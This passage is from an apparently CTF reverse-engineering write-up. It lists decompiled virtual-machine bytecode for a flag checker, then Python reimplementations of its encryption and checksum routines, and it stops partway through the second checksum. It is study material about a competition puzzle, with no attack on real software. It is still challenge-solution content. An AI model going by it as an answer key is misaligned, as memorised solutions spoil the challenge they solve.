</span></span><span style="display:flex;"><span>loc_801004a0: stack[-<span style="color:#d0bf69">1</span>] ^= a4
</span></span><span style="display:flex;"><span>loc_801004b4: a4 = stack[-<span style="color:#d0bf69">2</span>] + stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_801004b8: push a4
</span></span><span style="display:flex;"><span>loc_801004c4: li              a4, -<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_801004c8: push a4
</span></span><span style="display:flex;"><span>loc_801004d0: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_58</span>(s0)
</span></span><span style="display:flex;"><span>loc_801004d4: stack[-<span style="color:#d0bf69">1</span>] ^= a4
</span></span><span style="display:flex;"><span>loc_801004e0: li              a4, -<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_801004e4: push a4
</span></span><span style="display:flex;"><span>loc_801004ec: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_60</span>(s0)
</span></span><span style="display:flex;"><span>loc_801004f0: stack[-<span style="color:#d0bf69">1</span>] ^= a4
</span></span><span style="display:flex;"><span>loc_80100504: a4 = stack[-<span style="color:#d0bf69">2</span>] | stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100508: push a4
</span></span><span style="display:flex;"><span>loc_80100514: li              a4, <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>loc_80100518: push a4
</span></span><span style="display:flex;"><span>loc_8010052c: a4 = stack[-<span style="color:#d0bf69">2</span>] * stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100530: push a4
</span></span><span style="display:flex;"><span>loc_80100544: a4 = stack[-<span style="color:#d0bf69">2</span>] + stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100548: push a4
</span></span><span style="display:flex;"><span>loc_80100554: li              a4, -<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_80100558: push a4
</span></span><span style="display:flex;"><span>loc_80100560: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_58</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100564: stack[-<span style="color:#d0bf69">1</span>] ^= a4
</span></span><span style="display:flex;"><span>loc_80100570: li              a4, -<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_80100574: push a4
</span></span><span style="display:flex;"><span>loc_8010057c: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_60</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100580: stack[-<span style="color:#d0bf69">1</span>] ^= a4
</span></span><span style="display:flex;"><span>loc_80100594: a4 = stack[-<span style="color:#d0bf69">2</span>] | stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100598: push a4
</span></span><span style="display:flex;"><span>loc_801005a0: li              a4, -<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_801005a4: stack[-<span style="color:#d0bf69">1</span>] ^= a4
</span></span><span style="display:flex;"><span>loc_801005b0: li              a4, <span style="color:#d0bf69">5</span>
</span></span><span style="display:flex;"><span>loc_801005b4: push a4
</span></span><span style="display:flex;"><span>loc_801005c8: a4 = stack[-<span style="color:#d0bf69">2</span>] * stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_801005cc: push a4
</span></span><span style="display:flex;"><span>loc_801005e0: a4 = stack[-<span style="color:#d0bf69">2</span>] + stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_801005e4: push a4
</span></span><span style="display:flex;"><span>loc_801005ec: pop_call_1
</span></span><span style="display:flex;"><span>loc_801005f0: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_68</span>(s0)
</span></span><span style="display:flex;"><span>loc_801005fc: pop a4
</span></span><span style="display:flex;"><span>loc_80100600: la              a5, qword_80101040
</span></span><span style="display:flex;"><span>loc_80100608: ld              a5, (qword_80101040 - <span style="color:#d0bf69">80101040</span>h)(a5)
</span></span><span style="display:flex;"><span>loc_8010060c: beq             a4, a5, loc_80100634
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_80100614: la              a4, aWrong<span style="color:#960050">#</span> <span style="color:#fc6a5d">&#34;Wrong&#34;</span>
</span></span><span style="display:flex;"><span>loc_8010061c: print a4
</span></span><span style="display:flex;"><span>loc_8010062c: pop a4
</span></span><span style="display:flex;"><span>loc_80100630: exit
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_80100634: li              a5, <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span>loc_80100638: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_70</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100640: li              a4, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_80100644: push_call_2
</span></span><span style="display:flex;"><span>loc_8010064c: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_70</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100650: push_call_1
</span></span><span style="display:flex;"><span>loc_8010065c: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_50</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100660: push a4
</span></span><span style="display:flex;"><span>loc_8010066c: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_50</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100670: stack[-<span style="color:#d0bf69">1</span>] *= a4
</span></span><span style="display:flex;"><span>loc_80100684: a4 = rol stack[-<span style="color:#d0bf69">2</span>] stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100688: push a4
</span></span><span style="display:flex;"><span>loc_80100694: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_50</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100698: push a4
</span></span><span style="display:flex;"><span>loc_801006a4: li              a4, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_801006a8: stack[-<span style="color:#d0bf69">1</span>] += a4
</span></span><span style="display:flex;"><span>loc_801006b4: pop a4
</span></span><span style="display:flex;"><span>loc_801006b8: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_50</span>(s0)
</span></span><span style="display:flex;"><span>loc_801006c0: la              a4, qword_80101038
</span></span><span style="display:flex;"><span>loc_801006c8: ld              a4, (qword_80101038 - <span style="color:#d0bf69">80101038</span>h)(a4)
</span></span><span style="display:flex;"><span>loc_801006cc: stack[-<span style="color:#d0bf69">1</span>] ^= a4
</span></span><span style="display:flex;"><span>loc_801006d8: pop a4
</span></span><span style="display:flex;"><span>loc_801006dc: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_58</span>(s0)
</span></span><span style="display:flex;"><span>loc_801006e8: pop a4
</span></span><span style="display:flex;"><span>loc_801006ec: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_60</span>(s0)
</span></span><span style="display:flex;"><span>loc_801006f8: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_60</span>(s0)
</span></span><span style="display:flex;"><span>loc_801006fc: push a4
</span></span><span style="display:flex;"><span>loc_80100708: li              a4, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_8010070c: push a4
</span></span><span style="display:flex;"><span>loc_80100718: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_60</span>(s0)
</span></span><span style="display:flex;"><span>loc_8010071c: push a4
</span></span><span style="display:flex;"><span>loc_80100728: li              a4, -<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_8010072c: push a4
</span></span><span style="display:flex;"><span>loc_8010073c: a4 = stack[-<span style="color:#d0bf69">2</span>] ^ stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100740: push a4
</span></span><span style="display:flex;"><span>loc_80100754: a4 = stack[-<span style="color:#d0bf69">2</span>] + stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_80100758: push a4
</span></span><span style="display:flex;"><span>loc_80100764: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_58</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100768: stack[-<span style="color:#d0bf69">1</span>] += a4
</span></span><span style="display:flex;"><span>loc_80100778: a4 = stack[-<span style="color:#d0bf69">2</span>] ^ stack[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>loc_8010077c: push a4
</span></span><span style="display:flex;"><span>loc_80100784: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_60</span>(s0)
</span></span><span style="display:flex;"><span>loc_80100788: stack[-<span style="color:#d0bf69">1</span>] ^= a4
</span></span><span style="display:flex;"><span>loc_80100790: pop_call_1
</span></span><span style="display:flex;"><span>loc_80100794: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_78</span>(s0)
</span></span><span style="display:flex;"><span>loc_801007a0: pop a4
</span></span><span style="display:flex;"><span>loc_801007a4: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_80</span>(s0)
</span></span><span style="display:flex;"><span>loc_801007a8: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_80</span>(s0)
</span></span><span style="display:flex;"><span>loc_801007ac: la              a5, qword_80101048
</span></span><span style="display:flex;"><span>loc_801007b4: ld              a5, (qword_80101048 - <span style="color:#d0bf69">80101048</span>h)(a5)
</span></span><span style="display:flex;"><span>loc_801007b8: bne             a4, a5, loc_801007E4
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_801007c4: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_80</span>(s0)
</span></span><span style="display:flex;"><span>loc_801007c8: push a4
</span></span><span style="display:flex;"><span>loc_801007cc: li              a5, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>loc_801007d0: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_70</span>(s0)
</span></span><span style="display:flex;"><span>loc_801007d8: pop_call_2
</span></span><span style="display:flex;"><span>loc_801007dc: sd              a5, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_88</span>(s0)
</span></span><span style="display:flex;"><span>loc_801007e0: j               loc_80100844
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_801007e4: ld              a4, -<span style="color:#d0bf69">8</span>+<span style="color:#41a1c0">var_80</span>(s0)
</span></span><span style="display:flex;"><span>loc_801007e8: la              a5, qword_80101050
</span></span><span style="display:flex;"><span>loc_801007f0: ld              a5, (qword_80101050 - <span style="color:#d0bf69">80101050</span>h)(a5)
</span></span><span style="display:flex;"><span>loc_801007f4: bne             a4, a5, loc_80100820
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_801007fc: la              a4, aCorrect<span style="color:#960050">#</span> <span style="color:#fc6a5d">&#34;Correct&#34;</span>
</span></span><span style="display:flex;"><span>loc_80100804: print a4
</span></span><span style="display:flex;"><span>loc_80100814: pop a4
</span></span><span style="display:flex;"><span>loc_80100818: unknown_1973
</span></span><span style="display:flex;"><span>loc_8010081c: j               loc_80100844
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_80100824: la              a4, aWrong<span style="color:#960050">#</span> <span style="color:#fc6a5d">&#34;Wrong&#34;</span>
</span></span><span style="display:flex;"><span>loc_8010082c: print a4
</span></span><span style="display:flex;"><span>loc_8010083c: pop a4
</span></span><span style="display:flex;"><span>loc_80100840: unknown_404
</span></span><span style="display:flex;"><span>loc_80100848: li              a4, <span style="color:#d0bf69">991469</span>
</span></span><span style="display:flex;"><span>loc_80100850: push_call_1
</span></span><span style="display:flex;"><span>loc_80100858: li              a4, <span style="color:#d0bf69">692549</span>
</span></span><span style="display:flex;"><span>loc_80100860: push_call_3
</span></span><span style="display:flex;"><span>loc_80100868: li              a4, <span style="color:#d0bf69">823212</span>
</span></span><span style="display:flex;"><span>loc_80100870: push_call_2
</span></span><span style="display:flex;"><span>loc_8010087c: li              a4, <span style="color:#d0bf69">31815</span>
</span></span><span style="display:flex;"><span>loc_80100884: push a4
</span></span><span style="display:flex;"><span>loc_80100890: li              a4, <span style="color:#d0bf69">26492</span>
</span></span><span style="display:flex;"><span>loc_80100898: push a4
</span></span><span style="display:flex;"><span>loc_801008a4: li              a4, <span style="color:#d0bf69">815730</span>
</span></span><span style="display:flex;"><span>loc_801008ac: push a4
</span></span><span style="display:flex;"><span>loc_801008b8: li              a4, <span style="color:#d0bf69">469207</span>
</span></span><span style="display:flex;"><span>loc_801008c0: stack[-<span style="color:#d0bf69">1</span>] rol= a4
</span></span><span style="display:flex;"><span>loc_801008c8: li              a4, <span style="color:#d0bf69">330825</span>
</span></span><span style="display:flex;"><span>loc_801008d0: stack[-<span style="color:#d0bf69">1</span>] ^= a4
</span></span><span style="display:flex;"><span>loc_801008dc: li              a4, <span style="color:#d0bf69">66912</span>
</span></span><span style="display:flex;"><span>loc_801008e4: stack[-<span style="color:#d0bf69">1</span>] += a4
</span></span><span style="display:flex;"><span>loc_801008f0: li              a4, <span style="color:#d0bf69">858794</span>
</span></span><span style="display:flex;"><span>loc_801008f8: stack[-<span style="color:#d0bf69">1</span>] *= a4
</span></span><span style="display:flex;"><span>loc_80100904: li              a4, <span style="color:#d0bf69">329986</span>
</span></span><span style="display:flex;"><span>loc_8010090c: push a4
</span></span><span style="display:flex;"><span>loc_80100918: li              a4, <span style="color:#d0bf69">67744</span>
</span></span><span style="display:flex;"><span>loc_80100920: push a4
</span></span><span style="display:flex;"><span>loc_8010092c: li              a4, <span style="color:#d0bf69">24871</span>
</span></span><span style="display:flex;"><span>loc_80100934: stack[-<span style="color:#d0bf69">1</span>] *= a4
</span></span><span style="display:flex;"><span>loc_8010093c: li              a4, <span style="color:#d0bf69">50</span>
</span></span><span style="display:flex;"><span>loc_80100940: encrypt a4
</span></span><span style="display:flex;"><span>loc_80100948: li              a4, <span style="color:#d0bf69">155059</span>
</span></span><span style="display:flex;"><span>loc_80100950: print a4
</span></span><span style="display:flex;"><span>loc_80100960: pop_call_2
</span></span><span style="display:flex;"><span>loc_80100964: push a4
</span></span><span style="display:flex;"><span>loc_80100974: pop_call_3
</span></span><span style="display:flex;"><span>loc_80100978: push a4
</span></span><span style="display:flex;"><span>loc_80100988: pop_call_1
</span></span><span style="display:flex;"><span>loc_8010098c: push a4
</span></span><span style="display:flex;"><span>loc_80100998: pop a4
</span></span><span style="display:flex;"><span>loc_8010099c: la              a5, qword_80101058
</span></span><span style="display:flex;"><span>loc_801009a4: ld              a5, (qword_80101058 - <span style="color:#d0bf69">80101058</span>h)(a5)
</span></span><span style="display:flex;"><span>loc_801009a8: bne             a4, a5, loc_801009C0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_801009b0: la              a4, aCorrect<span style="color:#960050">#</span> <span style="color:#fc6a5d">&#34;Correct&#34;</span>
</span></span><span style="display:flex;"><span>loc_801009b8: print a4
</span></span><span style="display:flex;"><span>loc_801009bc: j               loc_801009D0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>loc_801009c4: la              a4, aWrong<span style="color:#960050">#</span> <span style="color:#fc6a5d">&#34;Wrong&#34;</span>
</span></span><span style="display:flex;"><span>loc_801009cc: print a4
</span></span><span style="display:flex;"><span>loc_801009d0: ld              s0, <span style="color:#d0bf69">88</span>h+<span style="color:#41a1c0">var_s0</span>(sp)
</span></span><span style="display:flex;"><span>loc_801009d4: addi            sp, sp, <span style="color:#d0bf69">90</span>h
</span></span><span style="display:flex;"><span>loc_801009d8: ret
</span></span></code></pre></div><h2 id="solve">Solve</h2>
<p>Now we can actually see a somewhat readable code.
We can start by noticing that the code is divided into 4 sections,
the first one is like it&rsquo;s checking that the vm is working properly, then there are two crc and the last one is probably a decoy given that it&rsquo;s doing 3 nested for loops of length 991469, 692549 and 823212, which would amount to 565 quadrillion that is not feasible.</p>
<p>We can now start to implement the <code>encrypt</code> function in python</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">flag_to_data</span>(flag):
</span></span><span style="display:flex;"><span>    memory_data = [
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x70</span>, <span style="color:#d0bf69">0x17</span>, <span style="color:#d0bf69">0x58</span>, <span style="color:#d0bf69">0x61</span>, <span style="color:#d0bf69">0x76</span>, <span style="color:#d0bf69">0x01</span>, <span style="color:#d0bf69">0x00</span>, <span style="color:#d0bf69">0x4e</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x45</span>, <span style="color:#d0bf69">0xc7</span>, <span style="color:#d0bf69">0xdf</span>, <span style="color:#d0bf69">0xa9</span>, <span style="color:#d0bf69">0xc2</span>, <span style="color:#d0bf69">0xa3</span>, <span style="color:#d0bf69">0x2a</span>, <span style="color:#d0bf69">0xd6</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0xf2</span>, <span style="color:#d0bf69">0x3a</span>, <span style="color:#d0bf69">0xca</span>, <span style="color:#d0bf69">0x49</span>, <span style="color:#d0bf69">0x39</span>, <span style="color:#d0bf69">0xc0</span>, <span style="color:#d0bf69">0xdb</span>, <span style="color:#d0bf69">0x03</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x70</span>, <span style="color:#d0bf69">0x72</span>, <span style="color:#d0bf69">0x71</span>, <span style="color:#d0bf69">0xea</span>, <span style="color:#d0bf69">0x5f</span>, <span style="color:#d0bf69">0xaa</span>, <span style="color:#d0bf69">0xb7</span>, <span style="color:#d0bf69">0x48</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x3a</span>, <span style="color:#d0bf69">0xa1</span>, <span style="color:#d0bf69">0x9b</span>, <span style="color:#d0bf69">0x4e</span>, <span style="color:#d0bf69">0x21</span>, <span style="color:#d0bf69">0x3c</span>, <span style="color:#d0bf69">0xa3</span>, <span style="color:#d0bf69">0x39</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0xbf</span>, <span style="color:#d0bf69">0x15</span>, <span style="color:#d0bf69">0x16</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x0a</span>, <span style="color:#d0bf69">0xc7</span>, <span style="color:#d0bf69">0xba</span>, <span style="color:#d0bf69">0xfb</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x27</span>, <span style="color:#d0bf69">0x50</span>, <span style="color:#d0bf69">0x95</span>, <span style="color:#d0bf69">0x39</span>, <span style="color:#d0bf69">0xea</span>, <span style="color:#d0bf69">0x7d</span>, <span style="color:#d0bf69">0x6b</span>, <span style="color:#d0bf69">0xc5</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x89</span>, <span style="color:#d0bf69">0x03</span>, <span style="color:#d0bf69">0x98</span>, <span style="color:#d0bf69">0xbf</span>, <span style="color:#d0bf69">0xf0</span>, <span style="color:#d0bf69">0xd7</span>, <span style="color:#d0bf69">0x99</span>, <span style="color:#d0bf69">0xdb</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x30</span>, <span style="color:#d0bf69">0x7c</span>, <span style="color:#d0bf69">0xd7</span>, <span style="color:#d0bf69">0x7a</span>, <span style="color:#d0bf69">0x4b</span>, <span style="color:#d0bf69">0xbf</span>, <span style="color:#d0bf69">0xe1</span>, <span style="color:#d0bf69">0x5e</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0xb4</span>, <span style="color:#d0bf69">0xb0</span>, <span style="color:#d0bf69">0xc9</span>, <span style="color:#d0bf69">0xc4</span>, <span style="color:#d0bf69">0x31</span>, <span style="color:#d0bf69">0xb6</span>, <span style="color:#d0bf69">0x10</span>, <span style="color:#d0bf69">0x5c</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x7f</span>, <span style="color:#d0bf69">0xe6</span>, <span style="color:#d0bf69">0xbc</span>, <span style="color:#d0bf69">0x64</span>, <span style="color:#d0bf69">0x9e</span>, <span style="color:#d0bf69">0xdc</span>, <span style="color:#d0bf69">0xe4</span>, <span style="color:#d0bf69">0x89</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0xc3</span>, <span style="color:#d0bf69">0x5e</span>, <span style="color:#d0bf69">0x1b</span>, <span style="color:#d0bf69">0xcd</span>, <span style="color:#d0bf69">0x01</span>, <span style="color:#d0bf69">0x71</span>, <span style="color:#d0bf69">0x29</span>, <span style="color:#d0bf69">0x9d</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x6a</span>, <span style="color:#d0bf69">0x8d</span>, <span style="color:#d0bf69">0xed</span>, <span style="color:#d0bf69">0x52</span>, <span style="color:#d0bf69">0x33</span>, <span style="color:#d0bf69">0xc2</span>, <span style="color:#d0bf69">0x71</span>, <span style="color:#d0bf69">0x02</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x46</span>, <span style="color:#d0bf69">0x46</span>, <span style="color:#d0bf69">0x0d</span>, <span style="color:#d0bf69">0xc7</span>, <span style="color:#d0bf69">0xe1</span>, <span style="color:#d0bf69">0xde</span>, <span style="color:#d0bf69">0x6c</span>, <span style="color:#d0bf69">0xe1</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0xef</span>, <span style="color:#d0bf69">0xbb</span>, <span style="color:#d0bf69">0x7f</span>, <span style="color:#d0bf69">0x7b</span>, <span style="color:#d0bf69">0x9c</span>, <span style="color:#d0bf69">0xb7</span>, <span style="color:#d0bf69">0x39</span>, <span style="color:#d0bf69">0x1d</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x70</span>, <span style="color:#d0bf69">0xeb</span>, <span style="color:#d0bf69">0x02</span>, <span style="color:#d0bf69">0x32</span>, <span style="color:#d0bf69">0xe6</span>, <span style="color:#d0bf69">0x61</span>, <span style="color:#d0bf69">0x03</span>, <span style="color:#d0bf69">0xdf</span>,
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    memory = memory_data[::] + [<span style="color:#d0bf69">0</span>] * <span style="color:#d0bf69">100</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    buf_1 = <span style="color:#d0bf69">0x800060A0</span> - <span style="color:#d0bf69">0x800060A0</span>
</span></span><span style="display:flex;"><span>    buf_2 = <span style="color:#d0bf69">0x800060DF</span> - <span style="color:#d0bf69">0x800060A0</span>
</span></span><span style="display:flex;"><span>    buf_3 = <span style="color:#d0bf69">0x800060E0</span> - <span style="color:#d0bf69">0x800060A0</span>
</span></span><span style="display:flex;"><span>    buf_4 = <span style="color:#d0bf69">0x8000611F</span> - <span style="color:#d0bf69">0x800060A0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> b in flag:
</span></span><span style="display:flex;"><span>        b = (b ^ <span style="color:#d0bf69">0xff</span>) + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        memory[buf_1] = b ^ <span style="color:#d0bf69">0x29</span>
</span></span><span style="display:flex;"><span>        memory[buf_2] = b - <span style="color:#d0bf69">82</span>
</span></span><span style="display:flex;"><span>        memory[buf_3] = b ^ ((memory[buf_2] - memory[buf_1]) &amp; <span style="color:#d0bf69">0xFF</span>)
</span></span><span style="display:flex;"><span>        v71 = ((b &amp; <span style="color:#d0bf69">0xFF</span>) &lt;&lt; <span style="color:#d0bf69">4</span>) | ((b &amp; <span style="color:#d0bf69">0xFF</span>) &gt;&gt; <span style="color:#d0bf69">4</span>)
</span></span><span style="display:flex;"><span>        memory[buf_4] = v71 &amp; <span style="color:#d0bf69">0xFF</span>
</span></span><span style="display:flex;"><span>        buf_1 += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        buf_2 -= <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        buf_3 += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        buf_4 -= <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    qwords = []
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> addr in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">128</span>, <span style="color:#d0bf69">16</span>):
</span></span><span style="display:flex;"><span>        bytes_data = []
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">16</span>):
</span></span><span style="display:flex;"><span>            bytes_data.append(memory[addr + i])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        qword1 = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>        qword2 = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">8</span>):
</span></span><span style="display:flex;"><span>            qword1 |= (bytes_data[i] &lt;&lt; (i * <span style="color:#d0bf69">8</span>))
</span></span><span style="display:flex;"><span>            qword2 |= (bytes_data[i + <span style="color:#d0bf69">8</span>] &lt;&lt; (i * <span style="color:#d0bf69">8</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        qwords.append(qword1)
</span></span><span style="display:flex;"><span>        qwords.append(qword2)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> qwords
</span></span></code></pre></div><p>Then we can follow up with the first CRC</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">rot_l</span>(x, n):
</span></span><span style="display:flex;"><span>    n %= <span style="color:#d0bf69">64</span>
</span></span><span style="display:flex;"><span>    x = ((x &lt;&lt; n) | (x &gt;&gt; (<span style="color:#d0bf69">64</span>-n)) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> x &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">crc1</span>(data):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">8</span>):
</span></span><span style="display:flex;"><span>        data[-i] = rot_l(data[-i], i ** <span style="color:#d0bf69">2</span>) ^ <span style="color:#d0bf69">0x9E3779B97F4A7C15</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        local_60 = data[-i]
</span></span><span style="display:flex;"><span>        local_68 = data[-i - <span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        data[-i - <span style="color:#d0bf69">1</span>] = ((((local_60 ^ local_68) + <span style="color:#d0bf69">3</span>) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) +
</span></span><span style="display:flex;"><span>                        ((((local_60 ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) | (
</span></span><span style="display:flex;"><span>                                    local_68 ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>)) * <span style="color:#d0bf69">3</span>) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) +
</span></span><span style="display:flex;"><span>                        ((((local_60 ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) | (
</span></span><span style="display:flex;"><span>                                    local_68 ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>)) ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) * <span style="color:#d0bf69">5</span>) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        data[-i - <span style="color:#d0bf69">1</span>] &amp;= <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> data[<span style="color:#d0bf69">0</span>]
</span></span></code></pre></div><p>Lastly the second CRC</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">crc2</span>(data):
</span></span><span style="display:flex;"><span>    i = <span style="color:#d0bf69">8</span>
